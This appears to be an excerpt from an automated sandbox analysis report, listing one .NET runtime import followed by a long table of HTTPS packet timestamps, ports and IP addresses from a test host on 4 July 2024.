DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 20:15:51.524853945 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:51.524899006 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:51.524964094 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:51.537117004 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:51.537134886 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.115982056 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.116112947 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.117100954 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.117167950 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.120474100 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.120487928 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.120788097 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.161237955 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.186713934 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.232507944 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.355427980 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.355484962 CEST	443	49710	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:52.355567932 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.360537052 CEST	49710	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:52.369923115 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:52.369963884 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:52.370018959 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:52.370317936 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:52.370335102 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:52.979464054 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:52.979573965 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:52.982439995 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:52.982456923 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:52.982688904 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:52.984039068 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.028498888 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:53.788512945 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:53.788602114 CEST	443	49711	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:53.788635969 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.788687944 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.791685104 CEST	49711	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.794239044 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.794274092 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:53.794368029 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.794730902 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:53.794744968 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.427514076 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.429590940 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.429601908 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.627152920 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.627181053 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.627265930 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.627279043 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.627809048 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.627892971 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.627901077 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.628653049 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.628717899 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.628725052 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.676983118 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.722559929 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.722568035 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.722671986 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.722683907 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.723649979 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.723747015 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.723756075 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.724324942 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.724394083 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.724400997 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.725951910 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.726006985 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.726015091 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.770632982 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.818093061 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818101883 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818228960 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.818238020 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818334103 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818341970 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818398952 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.818408966 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818669081 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818708897 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818737030 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.818744898 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.818770885 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.819314957 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.819371939 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.819380045 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.820199966 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.820260048 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.820267916 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.821068048 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.821132898 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.821141005 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.821242094 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.821304083 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.821311951 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.822165966 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.822226048 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:54.822233915 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:54.864398003 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.162350893 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162367105 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162431955 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162441015 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162513971 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.162528038 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162539005 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162595034 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.162633896 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.162825108 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.162894011 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.162905931 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.163307905 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.163358927 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.163373947 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.163381100 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.163407087 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.163410902 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.163470030 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.163477898 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164185047 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164252043 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.164256096 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164268970 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164320946 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.164330006 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164340973 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164372921 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.164378881 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164407015 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.164434910 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.164911985 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.164968967 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.165016890 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.165024996 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.165039062 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.165074110 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.165085077 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.165091991 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.165123940 CEST	443	49712	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.165148973 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.165163040 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.169656992 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.171104908 CEST	49712	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.215912104 CEST	49713	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:55.215962887 CEST	443	49713	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:55.216058016 CEST	49713	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:55.216372013 CEST	49713	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:55.216382980 CEST	443	49713	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:55.829294920 CEST	443	49713	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:55.832626104 CEST	49713	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:55.832653046 CEST	443	49713	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:55.971751928 CEST	443	49713	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:55.972143888 CEST	443	49713	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:55.972223043 CEST	49713	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:55.972656012 CEST	49713	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:55.974466085 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.974495888 CEST	443	49714	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:55.974576950 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.974891901 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:55.974905014 CEST	443	49714	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:56.572926998 CEST	443	49714	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:56.574954033 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:56.574999094 CEST	443	49714	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:57.370923042 CEST	443	49714	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:57.371040106 CEST	443	49714	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:57.371066093 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:57.371115923 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:57.372134924 CEST	49714	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:57.373831034 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:57.373858929 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:57.373960972 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:57.374221087 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:57.374236107 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.015772104 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.017543077 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.017558098 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.203787088 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.203838110 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.203922987 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.203936100 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.204756975 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.204958916 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.204967976 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.205657005 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.205725908 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.205733061 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.254991055 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.286608934 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.286626101 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.286690950 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.286703110 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.287728071 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.287789106 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.287796974 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.288691044 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.288758039 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.288764954 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.298871040 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.298947096 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.298954964 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.348732948 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.385951996 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.385976076 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.386013031 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.386034012 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.386069059 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.386420012 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.386429071 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.386475086 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.386485100 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.387167931 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.387201071 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.387231112 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.387238979 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.387254000 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.388113022 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.388175964 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.388184071 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.389039993 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.389108896 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.389117002 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.389949083 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.390012026 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.390021086 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.390825033 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.390894890 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.390902042 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.394360065 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.394417048 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.394424915 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.442486048 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.481652021 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.481669903 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.481745958 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.481760025 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.481930017 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.481939077 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.481988907 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.481997013 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.482393026 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.482425928 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.482455969 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.482464075 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.482472897 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.482748032 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.482812881 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.482820034 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.483443022 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.483501911 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.483510017 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.483639002 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.483697891 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.483705997 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.484282017 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.484337091 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.484350920 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.485079050 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.485136986 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.485145092 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.485367060 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.485424042 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.485430956 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486072063 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486131907 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.486140966 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486404896 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486462116 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.486468077 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486495018 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486541986 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.486547947 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486588001 CEST	443	49715	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:58.486629963 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.486944914 CEST	49715	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:58.497035980 CEST	49716	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:58.497087955 CEST	443	49716	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:58.497162104 CEST	49716	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:58.497387886 CEST	49716	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:58.497400999 CEST	443	49716	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:59.067826033 CEST	443	49716	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:59.070133924 CEST	49716	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:59.070171118 CEST	443	49716	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:59.245505095 CEST	443	49716	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:59.245748043 CEST	443	49716	13.107.42.12	192.168.2.6
Jul 4, 2024 20:15:59.245904922 CEST	49716	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:59.245948076 CEST	49716	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:15:59.247097015 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:59.247123003 CEST	443	49717	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:59.247189045 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:59.247402906 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:59.247416973 CEST	443	49717	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:59.855654001 CEST	443	49717	13.107.139.11	192.168.2.6
Jul 4, 2024 20:15:59.859857082 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:15:59.859868050 CEST	443	49717	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.062108040 CEST	443	49717	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.062213898 CEST	443	49717	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.062319040 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.062372923 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.063321114 CEST	49717	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.065005064 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.065057993 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.065156937 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.065514088 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.065524101 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.700015068 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.702600956 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.702629089 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.885879993 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.885901928 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.885987997 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.886018991 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.887096882 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.887217045 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.887264013 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.887276888 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.887304068 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.926978111 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.981859922 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.981945992 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.981964111 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.983005047 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.983068943 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.983077049 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.984133005 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.984208107 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.984214067 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.984987974 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:01.985043049 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:01.985048056 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.036340952 CEST	49719	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:02.076435089 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.076447964 CEST	443	49719	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:02.076705933 CEST	49719	443	192.168.2.6	13.107.139.11
